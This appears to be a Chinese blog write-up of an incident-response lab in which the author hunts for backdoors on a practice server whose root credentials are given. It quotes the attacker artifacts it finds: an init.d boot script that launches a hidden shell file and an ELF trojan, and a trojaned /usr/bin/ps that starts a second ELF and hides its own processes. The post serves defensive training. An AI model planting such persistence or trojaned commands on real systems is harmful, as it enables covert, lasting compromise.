渗透测试靶机-服务器存在后门-Writeup

28.7的博客2025-11-102025-11-10

应急响应

任务环境说明:

- 服务器场景：Server2229 （开放链接）
- 用户名：root 密码：p@ssw0rd123

找出黑客植入到系统中的二进制木马程序，并将木马程序的名称作为Flag值（若存在多个提交时使用英文逗号隔开，例如bin,sbin,…）提交；

flag-1

首先我们的思路就是查看用户曾经执行过的命令

cat /etc/init.d/cpuspeed

cpuspeed程序是一个shell脚本，其存放在/etc/init.d(Linux的开机自启目录下)，并且是有执行权限的，实现开机自启动，该shell脚本执行之后又使用/bin/bash后台执行了，但是由于题目要求的是二进制木马，所以shell脚本被排除了

#!/bin/bash
#A backdoor program
#chkconfig:             2345 23 80

###BEGIN INIT INFO
#Provides:              pyseclabs.com
#Required-Start:        $local_fs $network
#Required-Stop:         $local_fs
#Default-Start:         2 3 4 5
#Default-Stop:          0 1 6
#Short-Description:     wsocket service
#Description:           wsocket service daemon
###END INIT INFO
/bin/bash /home/guest/.zshrc_history &
exit 0

cat /home/guest/.zshrc_history

1	/home/redflag/.shell.elf &

所以我们就得到了第一个flag{.shell.elf}

flag-2

继续来到用户目录搜查，我们在这里发现一个ps文件，直接执行权限不够，所以我们给一个执行权

我们在/usr/bin/ps命令下发现这里执行了centos_core.elf文件，而elf文件大多数都是由msfvenom生成的反弹shell木马，这里我们得到第二个恶意程序为centos_core.elf
所以我们就得到了第二个flag{centos_core.elf}

找出被黑客修改的系统默认指令，并将被修改的指令里最后一个单词作为Flag值提交；
刚才在找第二个flag 就看见了 ps 命令被修改过了,所以我们只需要找到他的路径

[root@localhost guest]# ps
/usr/bin/ps:行2: /centos_core.elf: 权限不够
   4397 pts/1    00:00:00 bash
   
[root@localhost guest]# cat /usr/bin/ps
#!/bin/bash
/centos_core.elf & /.hide_command/ps |grep -v "shell" | grep -v "centos_core" | grep "bash"

我们查看该文件，发现最后一个单词为
所以 flag{bash}